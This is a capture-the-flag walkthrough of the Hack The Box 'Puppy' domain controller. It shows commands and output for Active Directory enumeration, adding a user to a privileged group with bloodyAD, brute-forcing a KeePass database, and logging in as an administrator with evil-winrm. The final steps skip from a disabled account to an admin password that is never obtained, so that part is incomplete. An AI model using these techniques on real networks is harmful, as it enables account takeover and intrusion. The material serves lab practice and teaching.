Puppy is a medium-difficulty machine from Hack The Box dealing initially with an exposed SMB share where we have to add ourselves to developers group to access it, we’ll later get a kdbx file that we’ll crack and get some user credentials from it. To later abuse some excessive privileges on adam.siver which later leads us to read DPAPI secrets and get the password of an admin user to own the machine. Puppy
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-18 15:00:26Z) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 2049/tcp open nlockmgr 1-4 (RPC #100021) 3260/tcp open iscsi? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
We can see that we have some really interesting ports here. The most important thing is that this box is a domain controller (we can tell so from the 88 kerberos port).
Domain enumeration
Since we were provided with some credentials, we can use them to get users from their RIDs:
┌──(kali㉿kali)-[~] └─$ bloodhound-python -c All -u levi.james -p 'KingofAkron2025!' -d puppy.htb -ns 10.10.11.70 --zip INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: puppy.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.puppy.htb:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc.puppy.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc.puppy.htb INFO: Found 10 users INFO: Found 56 groups INFO: Found 3 gpos INFO: Found 3 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC.PUPPY.HTB INFO: Done in 01M 59S INFO: Compressing output into 20250518080341_bloodhound.zip
Also checking SMB shares, we find an interesting DEV share:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share DEV Disk DEV-SHARE for PUPPY-DEVS IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.11.70 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
SMB share access
The DEV share should only be accessible to members of the DEVELOPERS group. We can see a path for it from our own user: BloodHound
So let’s add levi to the group and get whats inside the share:
┌──(kali㉿kali)-[~] └─$ bloodyAD -d puppy.htb -u levi.james -p 'KingofAkron2025!' --host dc.puppy.htb --dc-ip 10.10.11.70 add groupMember "DEVELOPERS" levi.james [+] levi.james added to DEVELOPERS ┌──(kali㉿kali)-[~] └─$ smbclient \\\\dc.puppy.htb\\DEV -U puppy.htb/levi.james Password for [PUPPY.HTB\levi.james]: Try "help" to get a list of possible commands. smb: \> ls . DR 0 Sun Mar 23 07:07:57 2025 .. D 0 Sat Mar 8 16:52:57 2025 KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 07:09:12 2025 Projects D 0 Sat Mar 8 16:53:36 2025 recovery.kdbx A 2677 Wed Mar 12 02:25:46 2025
5080575 blocks of size 4096. 1544684 blocks available smb: \> get recovery.kdbx getting file \recovery.kdbx of size 2677 as recovery.kdbx (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec) smb: \> cd Projects smb: \Projects\> ls . D 0 Sat Mar 8 16:53:36 2025 .. DR 0 Sun Mar 23 07:07:57 2025
5080575 blocks of size 4096. 1544684 blocks available smb: \Projects\>
We find a kdbx database. We cam use keepass2john+keepass4brute to get its decryption password:
1 2 3 4 5 6 7 8 9
┌──(kali㉿kali)-[~/keepass4brute] └─$ ./keepass4brute.sh ../recovery.kdbx /usr/share/wordlists/rockyou.txt keepass4brute 1.3 by r3nt0n https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 69 - Estimated time remaining: 20 weeks, 4 days [+] Current attempt: liverpool
[*] Password found: liverpool
We open the database and fetch these credentials:
1 2 3 4 5
ADAM SILVER:HJKL2025! ANTONY C. EDWARDS:Antman2025! JAMIE WILLIAMSON:JamieLove2025! SAMUEL BLAKE:ILY2025! STEVE TUCKER:Steve2025!
We can see that JAMIE, ADAM and ANT are members of the developers group AND that ANT has some interesting access: BloodHound
Also SENIOR DEV members have GenericAll on ADAM.SILVER which can connect remotely to the system:
BloodHound
We can also note that adam.silver account is disabled: BloodHound
And eventually use that password to remotely connect:
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿kali)-[~/keepass4brute] └─$ evil-winrm -i dc.puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents> cd ../../administrator/desktop *Evil-WinRM* PS C:\Users\administrator\desktop> cat root.txt e75a02a424d6c3f3867a215c9fb8a4f7
That was it for Puppy, hope you learned something new! -0xkujen
